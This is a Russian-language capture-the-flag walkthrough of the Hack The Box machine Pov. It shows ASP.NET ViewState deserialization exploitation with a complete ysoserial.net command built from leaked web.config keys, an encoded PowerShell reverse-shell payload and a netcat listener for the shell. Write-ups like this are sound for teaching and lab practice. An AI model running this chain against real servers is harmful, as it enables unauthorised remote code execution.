Наша цель заключается в получении прав суперпользователя на машине Pov с учебной площадки Hack The Box, для этого надо пока взломать ASP.NET через ViewState, эксплуатируя уязвимость в сериализации ViewState.
Еще по теме: Взлом сайтов с ошибкой 404 Not Found
Вот, что было сделано до этого:
- Мы подключились к машине через VPN (см. Использование Hack The Box).
- Добавили IP-адрес машины в /etc/hosts и запустили сканирование портов с помощью Nmap.
- Обнаружили единственный открытый порт 80 и веб-сервер Microsoft IIS 10.0 с одностраничным сайтом.
- Использовали Feroxbuster для сканирования веб-каталогов и ffuf для поиска поддоменов.
- Найдя новый поддомен, добавили запись о нем в /etc/hosts и скачали портфолио пользователя.
- В запросе заметили использование ViewState.
Как взломать ASP.NET через ViewState
В запросе отметим несколько особенностей. Во‑первых, используется ViewState — фича веб‑сервера ASP.NET, которая автоматически сохраняет данные страниц между разными запросами. При раскрытии настроек это может дать нам возможность удаленно выполнять код на сервере. Во‑вторых, обращаем внимание на способ, которым указано имя файла для скачивания.
Платформа ASP.NET для сохранения значений страниц и элементов управления на веб‑страницах использует метод ViewState. Текущее состояние страницы и другие важные параметры сериализуются и кодируются в Base64, после чего сохраняются в HTML-коде страницы в скрытом поле ViewState.
Так как ASP.NET обрабатывает сериализованные данные, это можно использовать для выполнения кода. Чтобы такого не случалось, данные ViewState зашифрованы и подписаны. Алгоритмы и ключ шифрования и подписи как раз хранятся в файле web.config, содержимое которого мы только что получили. А значит, мы можем сформировать нагрузку для выполнения кода.
Составить и сериализовать нагрузку можно с помощью утилиты ysoserial.net. Но для начала нужно сгенерировать реверс‑шелл на PowerShell, например с помощью Online Reverse Shell Generator.
Теперь переходим на виртуальную машину с Windows и генерируем нагрузку. В параметре —path нужно указать страницу с параметром ViewState.
1 |
ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell.exe -e ....." |
Запускаем листенер, чтобы ловить подключение от нашего веб‑шелла:
1 |
rlwrap nc -nlvp 4321 |
Затем вставляем сгенерированную нагрузку в параметр ViewState и выполняем запрос.
И в итоге получаем сессию пользователя sfitz.
На этом все. Мы использовали уязвимость в сериализации ViewState ASP.NET для внедрения кода на сервер, получив доступ к ключам шифрования и подписи из файла web.config. Затем сгенерировали и выполнели нагрузку через утилиту ysoserial.net, получив сессию пользователя sfitz.